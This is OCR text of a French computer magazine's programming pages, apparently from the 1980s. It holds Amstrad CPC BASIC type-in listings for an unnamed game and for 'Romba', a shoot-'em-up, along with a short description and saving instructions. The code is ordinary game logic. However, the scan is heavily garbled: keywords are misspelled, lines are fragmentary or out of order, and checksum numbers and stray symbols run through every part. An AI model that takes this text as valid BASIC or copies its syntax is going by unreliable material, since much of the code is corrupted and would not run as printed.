Cxl,yl)=2 THEN LOCATE xl [4716] 
:PRINT nrî;he$ ELSE LOCA 
xl.yl:PRINT EF$ 

- y;PEN 1:PRINT TrS:BÏ [1244] 

[1997] 
[3275] 
[4711] 
[2487] 
[1674] 
[23041 
[1290] 
[951] 
[1661] 
[419] 
[525] 
[419] 
[1661] 
[4622] 


1030 ... . 
1040 REM 
1050 REM 
1060 REM 
1070 REM 
1080 REM 
1090 IF 


Y1=Y:G0T0 780 


r=0 THEN 780 ELSE tr=t 
i:rofl 3:LOCATE 37,2;PRINT nr$:tr 
1100 SODND 5,50,100,15,5,5,20 
1110 IF b$=b2$ THEN 1170 ELSE LOC 
ATE X,Y:PEN 3:PRINT TRS:SuS:xf=x 
1120 XF=XF+1:IF XF=40 OR ECCXF.Y) 
<>0 THEN 780 

1130 IF FN POCXF.YXl THEN (33S0B 
1150:GOTO 780 

1140 PEN 3 :LOCATE XF.Y:PRINT BAS: 
LOCATE XF,Y:PRINT EFS:GOTO 1120 
1150 FOR H=1 TO MON: IF XF=MXCH) A 
ND Y=MY(H) THEN MONS=H 
1160 NEXT:MSCMONS)=0:LOCATE XF,Y: 
PRINT EFS:MXCMONS)=4:MYCMONS)=4:G 
OTO 780 

1170 LOCATE X,Y :PEN 3:PRINT TR$; f 

ulS:xf=x 

1180 XF=XF-1 :IF XF=1 OR ECCXF.YX 
>0 THEN 780 

1190 IF FN POCXF,Y)=l THEN GOSDB 
1150:GOTO, 780 

1200 PEN 3 :LCCATE XF,Y:PRINT BAS: 
LOCATE XF,Y:PRINT EF$:GOTO 1180 
1210 REM :::::::::::::::::: 

1220 REM : CHUTE JODEDR 

1230 REM 

1240 IF ec(xl.yl)=2 THEN LOCATE x 
1,yl:PEN 1:PRINT nr$;he$ ELSE LOC 
ATE xl.yl:PRINT EFS 
1250 Y=Y+1:PEN 1:LOCATE X,Y:PRINT 
TRS: BS :SODND 1,46+SON,3,5:SON=SO 
N+10 

1260 Y1=Y: IF ECCX.Y+1X0 THEN 124 
- ~E SON=0: IF ECCX,Y+l) = 3 THEN 


[2500] 

[1079] 

[3331] 

[3256] 

[5163] 

[1802] 

[1381] 

[1079] 

[3303] 

[1661] 

[874] 

[1661] 

[4716] 

[4367] 

[3673] 


Y=Y+1:G0T0 970 


[2099] 
[1661] 
[17081 

. [1661] 

-10 :PEN 3 :LOCATE 17,2:P [2096] 


COMPTAGE CLEFS 


780 

1270 Y1=Y 
1280 REM 
1290 REM 
1300 REM 
1310 SC—B 
RINT nrS; 

:PEN 1:ec 
1350 

1330 BORDER 14.26:PEN 1 :READ A.B. [2001] 
C : FOR G=A TO B 

1340 LOCATE C,G:PRINT nrS;HE$:SOO [2652] 
ND 4,50,10,15,3,3:ECCC,G)=2:NEXT 
G 

1350 BORDER 0:FOR H=1 10 MON:MSCH [3617] 
) =1 : NEXT : PEN 1:G0T0 1010 

[1661] 


1360 REM 
1370 REM 
1380 REM 
1390 REM 


[419] 
[1049] 
[419] 
[1661] 

1410 SODND 4,50,50,15,3,3 :vle=vle [2982] 
-1 : IF Vle=0 THEN 1430 
1420 FOR t=l TO 1000:NEXT:tr=S-ta [2703] 
: IF tr<l THEN tr=l:GOTO 470 ELSE 
470 


partie 7 Co/n)“ 

1440 IF INXEYC34)=0 THEN RUN 
145® IF INXEYC467=0 THEN CLS:LOCA 
TE 15,12:PRINT“ Au revoir":WINDOW 
#0,1,40,1,25:FOR n=l TO 1000:NEX 
T : CLS : END 
1460 GOTO 1440 
1470 REM : 



l)+1 : IF MSCM)=0 


1580 ON asi 
1590 IF eci 
1690 ELSE ! ... 

1600 IF ecCmxCnD+l, 


:6OTO t Ï680 7tm 

icCmxCm),myCm 
1620 :GOTO 1680 
' 1590.1600 

' :3 THEN 


N 1 :LOCATE œ 

1630 R ScATE BXCm),myCO):PRINT efS 

1640 myCm)=myCm)+l:PEN 1:L0CATE œ 
xCm),myCm):PRINT CHRSC245+m) 

1650 IF ecCœ.. 


i),myCm)+l)=0 T 
3 1620:GOIO 1640 

1660 IF_mxCm)=i AND myCm)=y THEN 


Ï4Î0 iLT^D^ 

1670 myCm)=myCm)+l:PEN 1:L0CATE m 
|Cœ),myÇm):PRINT trS:CHRSC245+m): 

1680 myCm)=my(m)-l:PEN 1:L0CATE m 
xCm) ,myCm) :PRINT trS;CHRSC245+ni) : 

1690 IF mxCo)-l>l THEN GOSDB 162 
1700 . . 

1710 IF raxCm)+l<3 
20 ELSE asCm)=l:RE 


),myCm):E 
D 166® 


1740 REM : 

1750 REM : DATA 
1760 REM : 


1780 DATA 6,5,7,2 
1790 DATA 5,37,7,9,18,10.18,33,14 
.4,20,18,26,37,20,2,38,24 
1800 DATA 10.23,9,14.18,20,20,23, 
27,20,23,35,7,20,37 
1810 DATA 8,6,18,9,33,13,4,17,31, 
19,5,23,33,23 
1820 DATA 20,6,30,13 
1825 DATA 4,20,27 
1830 REM : : : data tab 2 
-1840 DATA 12,8,9,3 

- 1850 DATA 4,10,6,22,31.6:33,36.7, 
29,36,9,4:8,11,22,27,12,3,20,14,2 
9,33,14,35,37,14,3,24,19,32,36,19 
,2,38,24 

- 1860 DATA 6,11,3,6,13,11,14.18.7, 
6.18.21,9.14,23,6,8,32.14.23,30.1 
9,23,15 

1870 DATA 4,5,6,10,4,18,13,13,19, 

13,24,11,35,6,36.13.35,18 

1880 DATA 10,18,15,13,30.5 

1890 DATA 4,6,21 

1900 REM : : : data tab 3 

1910 DATA 13,5,8,4 

1920 DATA 5.9.6,15,19,6,27,36,6,5 

,6,7,18,19,7,5,19,8,34,37,9,14,19 

,11,20,31,15,11,18,18,4,8,19,24,3 

5,20,2,38,24 

1930 DATA 6,18,4.6,14.20,6,23,26. 
15,23,32,19,23,9 

1940 DATA 9,5,17,7,15,10,17,17,23 
,14,36,5,34,6,29,19 
1950 DATA 11,7,17,10,30,5,36,23 
1960 DATA 4,17,14 


2990 REM 
3990 REM 
4990 REM 
5990 REM 
6990 REM 


data tab 4 
data tab 5 
data tab 6 


[379] 

[1661] 

[419] 

[1336] 

[419] 

[1661] 

[3582] 


[3506] 


[1613] 

[3042] 

12115) 


[4400] 


[1264] 

[2444] 

[3213] 

[555] 

[4278] 


[3073] 

[4595] 

[1613] 

[1812] 

[6538] 


[4370] 


[3246] 

[4178] 


[3955] 

[43041 


[16611 

[419] 

[863] 

[419] 

[1661] 

[467] 

[2426] 

[2103] 


[444] 

[461] 

[914] 

[593] 

[5517] 


[3769] 


[2331] 

[1139] 

[210] 

[917] 

[744] 

[4831] 


[2187] 

[1481] 

[1379] 

[367] 

[928] 
[931] 
[926] 

[929] 
[940] 
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PROGRAMMATION 

Os court ! 


ROMBA 


Triste serait la vie de Romba, s'il n'avait 
de temps à antre un vieil ami à délivrer 
en territoire ennemi... 


L a subtile stratégie de 
notre héros consiste à 
éviter les embûches et à 
tirer sur tout ce qui bouge en 
se ravitaillant au passage en 
munitions. L’accès aux 
tableaux (dix sont à franchir 
pour retrouver le prisonnier) 
s'effectue par le haut de 
l'écran. 


Sauvegarde 

Sauvez sous le nom «ROMBA» 
le programme Basic principal. 
Entrez ensuite par Amsaisie 


V.2 en vous reportant à son 
mode d'emploi, les deux lis¬ 
tings de codes hexadécimaux. 
Nom Adr. déb. Long 
SPRIROM &8000 &67F 


ROUTROM &9D40 &547 
La longueur est ici précisée à 
l'attention de ceux qui envisa¬ 
gent raisonnablement de mor¬ 
celer leur travail en plusieurs 
fichiers qui devront ultérieure¬ 
ment être réunis en deux 
fichiers définitifs. 

Claude Le Moullec 
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20 REM 
30 REM 
4® REM 


80 R ai 


90 ï 

100 MiMORÏ 47FPF 
110LOAO 11 1SPRIR0K" .48030 
-.2® LOAD ” i SQCTSCM* . 49D4® : RQiB 44 
01B.0:POCE 4â01C.0K)tZ 4AÜ1O.0 
130 RE?T : ::::::::::::::::::::: 
140 REM . 

130 REM • VARIABLES DE BASE 


[1736] 
[419] 
[8181 
[419] 
[1736] 
(.41? I 
[2031] 
[419] 
[1736] 
[150] 
[997] 
[2525] 


[1736] 
[419] 
[2081] 
[419] 
[1736] 
:i4S3l 
"O 1SR8A 12249] 


19* RES TORS 22®.gOR 
D a:TtTX b.a:NHXT 
2Z0 DATA 0,13.26.9.24.9.18.13.20, (2151' 
1,16,25.11,15,3.6 
210 DEF FN po(x,y)=4C000+(y-I 
0+(x-l)*4 

220 DEF FN pok(a,b)=4A033+(b-l)*2 


0+a 

‘30 D .. , 

. 1 >=A8000+Ch*64) :NEXT 
240 GOSUB 2600 :REH PRESENTATION 
250 ®JV 1,100,3,1:ENT 1,100,2,2 
260 ENV 5,10,-1,8,5,-1,4:ENT -5,8 
0,1,1.20,2,1 

270 ENT -4,14,-10,1,1,120,1:ENV 4 
,1,15,1.15,-1,12 

280 BDT=4A1EC:VINI£M #1.2.19,1,24 
290 TA=1 : vie=5 :tnun=10: ac=0 
300 AÏ="MAN 5 SCORE 0000 NIVEAO 0 
1 MDNITIONS 10":ZL=l:YL=13:cer=2: 
GOSDB 310 :GOTO 380 
310 AÎ=DEPER$CA$) :£PR T=1 TO LENt 
A$):PS=7ÂSCCMID$(AÆ,T.l))>-48 
320 CALL 49FË0.FN P0CZL,YL)+(T*2) 


S [579] 

1 [2030] 
a 12863] 

[2787] 

[1021] 

[2659] 


370 REM . 

380 ON TA GOTO 390.400,410,420.43 
“ *•“ *50,470,480 


390 RESTORE 2990 
OTO 730 

400 RESTORE 3040 
410 RESTORE 3100 
80 

420 RES TORE 3160 

80 

430 RESTORE 3220 
80 

440 RESTORE 3280 
80 

450 RBSTORE 3330 
80 

460 RBSTORE 3380 
80 

470 RESTORE 3440 
80 


x=10: GOSDB 5401G 
GOSDB 540 
GOSDB 540 
GOSDB 540 
GOSDB 540 
GOSDB 540 
GOSDB 540 
GOSDB 540 
GOSDB 540 


GOTO 7 
GOTO 7 
GOTO 7 
GOTO 7 
GOTO 7 


480 ap<20)=sp(26) iRESTORE 3500:GO 
SDB 5401GOTO 780 
490 REM 
500 R 


DESSIN TABLEAO 


510 REM 
520 REM 

530 REM .... . 

540 £PR h=4A034 TO 4A137:POXE b,0 
:NEXT : FOR h=but TO but+50TPQXE h, 
07NEXT - 

550 FOR b=l TO 12:Ç4LL 4A00D.FN p 
0(1,E), 3p(17):£ALL 4A00D,FN po(20 
,b),sp(17):gOKE FN pokCl,h).1:POX 
E FN pok(20,h),1 :NEXT “~ 

560 FOR H=1 TO 127READ AS:IF A$=" 


580 IF A=0 THEN 600 

590 CALL 4A00D.FN po(G+l,h),SPC16 

+A):TOKE FN pôkCG+l.H) .A 

600 NEXT G 

610ÎEXT H:!fS b=l TO 20:POXE F» 
pokCn,13),1 :NEXT ~ 

620 REAP myiÎEAD en 

630 debUt=but:£OR b=l TO 10 

640 a=INT(RND*19)+l:b=INT(RND*my) 

+1:IF ggEXCFN pok(a,b))<>0 THEN 6 

40 

650 ÇgtE FN pok(a,b) ,h+10:CALL AA 
00D.FN po(a.b) ,sp(155 “ 

660 POXE début. 1 :bf$=HEX$(FN pok( 


[927] 

[1791] 

[6102] 

[3508] 

[4588] 

[17361 

[419] 

[574] 

[419] 

[1736] 

[2522] 

[1736] 

[1322] 

[2281] 

[1697] 

[1051] 

[1118] 

[938] 

[2228] 

[1315] 

[2805] 

[1736] 

[419] 

[1952] 

[419] 

[1736] 

[5515] 


[2773] 

[1367] 


[1465] 

[910] 

[3660] 


[2578] 

[4069] 


a,b),4):v2=VAL(“A"+EIGHT$(bfS, 2) ) 

670 vl=yAL(* rr A H +LEFT$(bï$, 2 ) ) : POtE [3289] 
debut+r, v2 : POXÎrdebut+2, vl 
680 add=FN poCa.b):bf$=HEX$Cadd,4 [3192] 
) :v2=VAI( " A” vRIGBTS(bfS7î ) > 

690 vï=WlL( ”A^+LEFTî(bf$, 2) ) : POSE [2785] 
delm+S.YÎ'.ÇOKE ctebUIM.YV 
700 S3=INT(RND*4)+1:POXE debut+5, [4152] 
ss:debut=debut+6 

710 NEXT:y=l2 :CALL AA00D.FN po(x, [3119] 
y),Sf(l):EpEE FN pok(x.y),10 
720 ss=l:xdep=x:POCB AA033,0;GOSD [2126] 
B 2450:RETDRN w_ 


730 REM' 

740 REM 

750 REM : ROOTINE PRINCIPALE 
760 REM : 


» THEN GOSDB 


[1736] 
[419] 
[2225] 
[419] 
[1736] 
i [2605] 


810 IF INXEYCHA)=0 THEN SS=1 
880 -* 

820 IF INXEY(BA)=0 THEN SS=2 
970 - 

830 IF INXEY(GA)=0 THEN SS=4 
1060 ~* 

840 IF INXEY(DA)=0 THEN SS=3 


850 GOTO 780 

860 pa=0:CALL AA228 : RETDRN 
870 REM :V: VERS LE EADT : 

880 X1=X:Y1=Y:Y=Y-1: IF PEEXCFN po 

k(x,y))=S THEN 920 

890 IF PEETCFN pok(x.y))>10 OR PE 

EXCFN pofcCx,y))=2 THEN 1910 

900 IF PEEXCFN pok7x,y))=9 THEN 2 

350 ~" 

910 Y=Y+1 :pa=pa+2 :GOTO 780 

920 SODND 1,300.5,1,1.1,15 

930 ©LL AA00D.FN POCXl,Yl),SPC25 

): POXE FN poktxl,yl),0 

940 C£LL AA00D.FN PO(X,Y),SP(1):P 

OXE FN poktx.y),10 

950 pa=pa+3:G3T0 780 

960 REM : : : VERS LE BAS : : : 

970 X1=X:Y1=Y:Y=Y+1:IF PEEXCFN po 
k(x,y))=0 THEN 1010 *“ 

980 IF PEEXCFN pok(x,y))>10 OR PE 
EXCFN pokCx.y))=2 THEN 1910 
990 IF PEEXCFN pokTx.y))=9 THEN 2 
350 — 

1000 Y=Y-1:pa=pa+2:GOTO 780 
1010 SODND 1,300,5,1,1,1,15 
1020 ©LL AA00D.FN POCXl,Yl) ,SPC2 
5):E£)XE FN pokCxl,yl),0 
1030 CALL AA00D.FN POCI, Y) ,SP(4) : 
£PXE FN pok(x.y) ,10 
1040 pa=pa+3:G0T0 780 
1050 REM : : : A GADCHE : : : 

1060 X1=X:Y1=Y:X=X-1:IF PEEXCFN P 
ok(x,y))=0 JHEN 1100 
1070 IF PEEXCFN pok(*.y))>10 OR P 
EEXCFN pok(x.y))=2 THEN 1910 
1080 IF PEEXCFN pokOc.y) )=9 TpEN 

1090 X=X+1:pa=pa+2:GOTO 780 
1100 SODND 1.300,5,1,1,1.15 
1110 tALL AA00D,FN POCXl,Y1),SPC2 
5):POXE FN pok C xl,y1),0 
112FCALL AA00D.FN POCX.Y).SPC10) 
: POSENT pok(x.y) ,10 
1130 pa=pa+3iGOTO 780 
1140 REM : : : A DROITS : : 

1150 X1=X:Y1=Y:X=X+1: IF PEEXCFN p 
okCx,y))=0 JHEN 1190 
1160 IF PEEXCFN pok(X.y))>10 OR P 
EEXCFN p6R(x,y))=2 THEN 1910 ~ 

”1170 IF ^PEEXCFN pok(*.y))=9 ,THEN 


[409] 

[1255] 

[881] 

[2964] 

[2615] 

[1868] 

[1827] 

[1467] 

[2055] 


[715] 

[1275] 

[3166] 

[2615] 

[1868] 

[2182] 

[1467] 

[2055] 


[715] 

[1052] 

[1322] 

[2615] 

[1868] 

[1753] 

[1467] 

[2055! 

[2532] 

[715] 

[1375] 

[4114] 

[2615] 

[1868] 


[1973] 

[1913] 

[2055] 


1200 CàÙT AA00D,'FN POCXl,Yl),SPC 2 
5):POXE FN pokCxl.yl),0 
1210 CALL AA00D.FN POCX.Y),SP(7): [3208] 
POXE FN pok(x,y),10 
1220 pa=pi ‘ 


1230 REM 
1240 REM 
1250 REM 
1260 REM 
1270 REM 


1280 IF mun=0 THEN pa=p« 

80 ELSE SODND TT*. 1,15,S 
.290 CALX 
I):FE=I 

1300 ON SS GOTO 1320,1- 
90 

1310 REM : : VERS LE HADT : 
1320 IF E£EXCFN POXCX,T-l)) 
N dx=0:dv=-l iGOTO 1720 


[715] 

[1736] 

[419] 

[525] 

[419] 

[1736] 

[4231] 


. -1 iGOTO 

LSE SODND T, 0,1,15,0,0,5 
1290_£ALTAA00D,FN POCI, Y) .SPCSS* [1893] 

>.1500,15 [1404] 


'1330 a=PÈEE(FN POXCX, Y-FE)): IF a< 
>0 THEN1360 

3),SPC 


7 1551 ï vm \m EL 

SE 1330 

o 1360 IF Acl0 .JHEN 1670 ELSE CALL 
AA00D.FN PO(X,Y-FE),SPC23) ^ 

1370 FOR 1=1 TO 100:NEXTiCALL AA0 
0D.FN POCX,Y-FE),SPf24) 

)C1380 POXE FN POXCÎ.Y-FE7 ,®:P9XE B 
DT+(CXTll)*6),0 

1390 sc=sc+5:@0S0B 2470:^£LL AA00 
D.FN PO(X, Y-FE) ,SPC257 :GOTO 1680 
1400 REM : : : VERS LE BAS : : : 

- 1410 IF EJIEXCFN POXCX, Ytl) )=4 THE 
N dx=0:dy=l:GDTO 1720 
kü 1420 a=PEEX(FN POXCX,YtFE)):IF a< 
>® £HEN 1450 

1430 CALL AA00D,FN PO(X,Y+FE),SP( 
5):£AEL AA00D.FN POCI.YtFE),SP(25 

4* 1440 le=Te+l: IF FB=6 THEN 1670 EL 
SE 1420 

1450 IF A<10 THEN 1670 ELSE CALL 
AA00D.FN POCX.Y+FE).SPC23) 

1460 FOR T=1 TO 100 :NEXT :CALL AA0 
0D,FN POCX.Y+FE).SPC24) 

X 1470 POXE FN POXCX, Y+FE) ,0:POXE B 
DT+((A-11)*6),0 w 

1480 sc=sc+5:gpSOB 2470:£ALL AA00 
D.FN POCX.Y+FE),SPC25):GOTO 1680 
1490 REM : : : A DROITE : : 

-1500 IF PEEXCFN P0XCX+1,Y))=4 THE 
N dx=l:dy=0:GOTO 1720 “* 

1510 a=PJEECFN POXCX+FE.Y)): IF a< 
>0 JHEN" 1540 


As 1530 fe=fe+l:IF FE=6 THEN 1670 EL 
SE 1510 ~ 

1540 IF A<10 ÎHHN 1670 ELSE ÇAli 
AA00D.FN POCX+FE.Y).SPC23) 

1550 FpR T-l TO 100:NEXT:CALL AA0 
0D,FN POCX+FE.Y),SP(24) 

X 1560 POXE FN POXCX+FE,Y),0:POXE B 
DT+C CA-11)'6),0 

1570 sc=sc+5:G0SDB 2470:CALL AA00 
D,FN POCX+FE.Y),SP(25):GOTO 1680 
1580 REM : : : A GADCHE : 

-1590 IF PEEXCFN PQXCX-l,Y))=4 THE 
N dx=-l:3ÿs0:GOTO 1720 
1600 a=PEEX(FN POXCX-FE,Y)):IF a< 
>JJ_THEN 1630 

(1610' CALL SA00D,FN PO(I-fe.Y),SP( 
TITiCALL AA00D,FN POCX-le,Y),SP(2 
5 ) 

If 1620 te=îe+l:lF FE=6 THEN 1670 EL 
SE 1600 

O 1630 IF A<10 THEN 1670 ELSE CALL 
&A00D.FN POCX-FE,Y).SPC23) 

1640 FOR T=1 TO 100:NEXT:CALL AA0 
0D.FN POCX-FE.Y),SPC24) 

X 1650 POXE FN POXCX-FE, Y), 0: POXE B 
DT+((A-ll)*6) , 0 

1660 sc=sc+5:GOSDB 2470:CALL AA00 
D.FN POCX-FE,Y),SP(25):GOTO 1680 
1670 mun=mun-l:GOSOB 2450:pa=pa+5 
:GOTO 780 

1680 en=en-l:IF en<10 THEN 1670 
1690 add=BOT+C(A-11)*6):POXE add, 
1 :POXE add+1,A5E:POXE add+2,AA0:P 
OXE add+3,S48:POXE add+4,AC1:POXE 
add+5,INT(RND , 4)+1:GOTO 1670 
1700 POXE add+4,add3:PC*E add+5.3 
: POXE add5 , a:GOTO 1670 
1710 REM : RAMASSER MDNITIONS : 
1720 IF ta=10 THEN 1780 
1730 FOR h=l TO 5:CALL 4A00D.FN P 
OCX+di,Y+dy),spC20) 

1740 CALL 4A00D.FN PO(X+dl,Y+dy), 
sp(25):NEXT 

1750 POXE FN POXCX+dx,Y+dy),0:mun 
=mun+12:IF mun>90 THEN mun=90 
1760 GOSDB 2450 : El:GOTO 780 
1770 REM : LIBERER PRISONNIER : 
1780 SODND 129,250,0,0,4,4 
1790 FOR h=l TO 20;CALL 4A00D.FN 
PO(I+dx,Y+dy).apC 20) 

1800 CALL 4A00D.FN POCX+dx,Y+dy), 
ap(2S):NEXT 

1810 FOR h=7 TO 15,-CALL 4A00D.FN 
po(h,6)+60,ap(25) 

1820 CALL 4A00D.FN poCb.7),sp(25) 
:NEXT 

1830 a$="VOOS AVEZ REDSSI":zl=7:y 
1=7:CER=0:GOSDB 310 
1840 SODND 129,250,0,0,4,4:HHILE 
INXEY$<>"":WEND 


[2895] 

[3387] 

[2862] 

[3222] 

11315] 

[4288] 

[1275] 

[2779] 

[2221] 

[3459] 

[846] 

[2630] 

13714) 

[2319] 

[3746] 

[1375] 

[3087] 

[2967] 

[4909] 

[844] 

[2945] 

[3344] 

[1767] 

[3194] 

110521 

[3709] 

[3105] 

[3112] 

11050] 

[3415] 

[3826] 

[2876] 

[3887] 

[1095] 

[*385] 

[6301] 


[2615] 


[1731] 

[1085] 

[2642] 


[1527] 

[2601] 

[1489] 

[3208] 


[2979] 

[1666] 


[3371] 

[2246] 


37 






























CPC 


PROGRAMMATION 


1850 CALL &BB18:RUN 180 
1860 K ES! :::::::::::::::: 
1870 REM : 

1880 REM : VIE -1 

1890 REM : 


1910 IF ss—1 THEN nm=l ELSE IF ! 
=2 THEN mtn=4 EISE IF ss=3 THEN s 
=7 ELSE nm=10 

1920 IF PEEEtFN pok(x,y))>10 THEN 
1990 

1930 REM : ; : PIOÜF : : : 

1940 ENV 2,5,3,2,15,-!,15 : SOUND 4 
,0,0,0,2,0,15 

y 1950 CALL &A00D.FN po(xl,yl),sp(2 
5):FOR h=l TO 15 

1960 CALL &A00D.FN potx,y) ,sptian) 
:FOR T=1 TO 50:NEXT 
1970 CALL &A00D.FN po(*,y),sp(18) 
:NEXT:GOTO 2030 

1980 REM ::: TOUCHE ENNEMI ::: 
1990 SOUND 129,250,0,0,4,4:FOR h= 
1 TO 15 

2000 CALL &A00D,FN potxl,yl),sp(m 
'm) :FOR T=1 TO 50:NEXT 
2010 CALL &A00D,FN potxl,yl),sp(2 
5):NEXT 

.2020 CALL 4A00D.FN potxl,yl),spf2 
33:CALL AA00D.FN poCxl,yl3,spt243 
2030 vle=vle-l: IF VIE<0 THEN 2220 
ELSE GOSDB 2440 

2040 FOR H=1 TO 12: FOR G=2 TO 19 
2050 IF PEEKtFN POE(G,H33<10 THEN 
2070 

2060 POKE FN POKtG.H) ,0:CALL &A00 
D,FN POCG.H),SP(253 
2070 NEXT G.H:FOR h-but; TO bUt+50 
:POEE h,0:NEXT 

2080 REM ON OS 7 CLAUDE TEL 96 38 
94 24 

2090 x=xdep: IF mun<10 THEN mun=10 

2100 GOSUB 630:GOTO 780 

2110 REM : TOUCHE PAR ENNEMI 

2120 IF ss=l THEN mm=l ELSE IF ss 

=2 THEN mm=4 ELSE IF ss=3 THEN mm 

=7 ELSE mm=10 

2130 SOUND 129,250,0,0,4.4 

2140 FOR h=l TO 15:CALL &A00D.FN 

po(x,y3 .spfian) 

2150 FOR T=1 TO 50:NEXT:CALL &A00 
D,FN potx.y),spt25):NEXT 
...2160 CALL 4A00D,FN po(x,y3,spl 


[847] 

[1736] 

[419] 

[647] 

[419] 

[1736] 

[4375] 


•V 2490 IF s 
=0:GOSUB 310:RETURN 
' 2500 IF sc>9 THEN zl=8:yl=13:c 


[2151] 

[3384] 

[2279] 

[553] 

[1931] 

[2658] 

[1625] 

[2707] 

[2120] 

[1339] 

[2198] 

[2883] 

[2868] 

[1388] 

[1597] 

[ 1110 ] 

[1212] 

[4375] 


[3594] 

[3852] 

[1736] 

[419] 

[934] 

[419] 

[1736] 

[2704] 


2170 REM 
2180 REM 
2190 REM 
2200 REM 
2210 REM 

2220 SOUND 1,250,0,0,4.4:WHÎLÉ IN 
KEYSo '• " : WEND 
2230 FOR b=7 TO 15:CALL &A00D.FN [2979] 
poCh,63+80,sp(253 
2240 CALL &A00D.FN poth,73,sp(2S3 
:NEXT:NT=0 

2250 a$=“VC _ 

1=7:CER=0:GOSUB 310 
2260 NT=NT+1: IF NT>73 THEN NT=1 
2270 SOUND 49,MPtNT)*4,MDtH)*15,l 
5:SOUND 42.MPCNT3.MDCNT3*14,,12 
2280 SOUND 28,MPCNT3/2,MD(NT3*14, 

,14:A$=INEEY$:IF AS="” THEN 2260 
2290 CALL &BCA7:CLS #l:GOTO 290 
2300 REM 
2310 REM 
2320 REM 
2330 REM 

2340 REM . 

2350 CALL &A00D.FN POtXl,Yl),SPt2 


PASSE LS TABLEAU 


3:yl=13:i 


PRESENTATION 


2520 a$=STR$tta):aS=RIGHT?(aS,LEN 
(SÎ3-13 

2530 IF ta>9 THEN zl=13:yl=13:cer 
=2:GOSUB 310:RETURN 
2540 zl=13:yl=13:cer=0:GOSUB 310: 
RETÜRN 
2550 REM 
2560 REM 
2570 REM 
2580 REM 

2590 REM . 

2600 ENV 10.1.15,0.7,-2.0:ENV 12, 
1,15,1,20,-2,0.5:ENV 14,1,15,1,10 
.-3,0,5 

2610 GOSUB 2900:EVERY 20,2 GOSUB 
2870 

2620 FOR h=l TO 20:FOR g=5 TO 9:C 
ALL &A00D,FN poth,g3,sp(153:NEXT 
3.b 

2630 CALL 4A00D.FN potl,113,sp(73 
;RESTORE 2930 

2640 FOR b=2 TO 20:CALL 4A00D.FN 

potb-1,11),sp(2S3 

2650 CALL 4A00D.FN po(h,113,sp(73 

:FOR t=l TO 50:NEXT 

2660 CALL 4A00D.FN poth,113,spt13 

:FOR t=l TO 50:NEXT 

2670 READ a$:IF a$="x" THEN 2740 

ELSE IF a$=”y" THEN aS="00000" 

2680 CALL 4A00D.FN po(h,113,sp(33 

2690 FOR g=l TO 5:a=VAL(MIDÎ(a$.g 

,133:1F a=l THEN 2730 

2700 CALL 4A00D,FN po(h.g+43 ,sp(2 

33:FOR t=l TO 100:NEXT 

2710 CALL 4A00D.FN po(b,g+43,sp(2 

43:FOR t=l TO 100:NEXT 

2720 CALL 4A00D.FN poth.g+43 ,sp(2 

53:FOR t=l TO 100:NEXT 

2730 NEXT g 

2740 NEXT b:CALL 4A00D.FN po(20,l 


[3128] 

[2237] 

[1844] 

[1931] 

[1517] 

[2256] 

[2289] 

[1736] 

[419] 

[1647] 

[419] 

[1736] 

[2795] 

[2739] 

[2754] 

[2313] 

[2223] 

[3393] 

[2869] 

[2772] 


[2009] 

AVE2 ECHOUE":zl=7:y [4245] 


[4119] 

[1602] 

[1736] 

[419] 

11008] 

[419] 

[1736] 

[1715] 


53 

2360 CALL 4A00D,FN PO(X,Y3.SPC13 [1649] 
2370 ta=ta+l:sc=sc+50:CLS #l:GOSÜ [3046] 
B 2470:GOSUB 2520 

2380 FOR t=l TO 2000:NEIT:GOTO 38 [2732] 
0 

[1736] 
[419] 
[1780] 
[419] 
[1736] 
ir= [3812] 


GESTION DES SCORES 

2420 REM 
2430 REM 

2440 a$=STR$(vle3 :i 
4 :GOSUB 310:RETURN 
2450 a$=STR$tmun); IF mun<10 THEN [5298] 
zl=19:yl=13:car=0:GOSUB 310:RETUR 
N 

2460 zl=19:yl=13:cer=2:GOSUB 310: [2403] 
RETURN 

2470 aî=STRS(sc3 : aî=RIGHTÏ(,LEN [2868] 


-3,sp(253 
2750 a$=“LMC SOFTWARE":zl=8:yl=2: 
CER=2: GOSUB 310 

2760 a$="PRESENTE":zl=9:yl=3:CER= 

2 : GOSUB 310 

2770 a$=”OU":zl=10:yl=ll:CER=0:GO 
SÜB 310 

“'*2780 a$="LE GUERRIER DE L IMPOSSI 
BLE":zl=4:yl=12:CER=1:GOSUB 310 
2790 WHILE INXEYS="";WEND:WINDOW 
#2,1,20,19,25:CLS #2 
2800 aî=”l JOYSTICK":zl=8:yl=12: 
CER=1:GOSDB 310 

2810 a$="2 CURSEURS":zl=8:yl=13: 
CER=1:GOSUB 310 

2820 A$=INXEY$:IF AJ="" THEN 2820 
2830 a=ASC(a$3:IF a<49 OR a>50 TH 
EN 2820 

y 2840 IF A=49 THEN BA=73:GA=74:DA= 
75:HA=72:FA=76:GOTO 2860 
c 2850 IF A=50 THEN BA=2 :GA=8 :DA=1 : 
HA=0:FA=9 

2860 MU=REMAINt23 :CALL &BCA7:CLS: 
RETURN 

2870 DI : IF (S0<13 AND 73=0 THEN E 
I:RETURN ELSE NT=NT+1:IF NT>73 TH 
EN NT=0 :GOTO 2870 
2880 SOUND 49,MP(NT)*4,MD(H3*15.1 
5 : SOUND 42.MPCNT3,MD(NT3*14,,12 
2890 SOUND 28,MP(NT3/2,MDCNT3*14, 

,14:GOTO 2870 

2900 DIM MPC733 :DIM MDC73 3 :RESTOR 

E 2910 : FOR H=1 TO 73:READ D,P:MPt 

H3=P: MD(H3=D:NEXT:RETURN 

2910 DATA 2,106,1,80,1,84,2,80,2, [ 

106,2,71,2,106,2,67,2,80,2,60,2,8 

0.2,53.2,80,2,50,2,80.1,84.1.80,1 

.71,1.84.2,106,1,53.1,60.1.63,1,6 

0,1,53,1,63,1,80.1,71,1,63,1,80,2 

,89,1,100,1,106,2,100,1,60,1,67,1 


[2984] 

[3163] 

[2875] 

[377] 

[21681 

[2563] 

[3362] 

[2139] 

[3017] 

[3702] 

[2739] 

[2346] 

[1437] 

[2490] 

[3672] 

[1915] 

[14631 

[5216] 

[3704] 

[2882] 

[6082] 


71,1,80.1,71,1,67,1,80,1,100,1,89 
,1.80,1,100,2,106.1,119,1,134,2.1 
19,2.100,2,106,2,80,1,84,1,80,1,7 
1,1,84,2,84,1,80,1,84,3,80,3 
2930 DATA 10100.11011 ,y,x, 10001 ,x 
,y.x.01000,01000.x,y,x,10101,1101 
1,y,x,10100,x 

2940 REM ::::::::::::::::::::::: 


[4092] 

[1736] 


2950 REM : : 

2960 REM : DATAS DES 10 TAB 
2970 REM : ; : 

2980 REM : : : : : : : : : : : : : : : : : : : : : : : 6 
2990 DATA/666655555999999999,X,00 
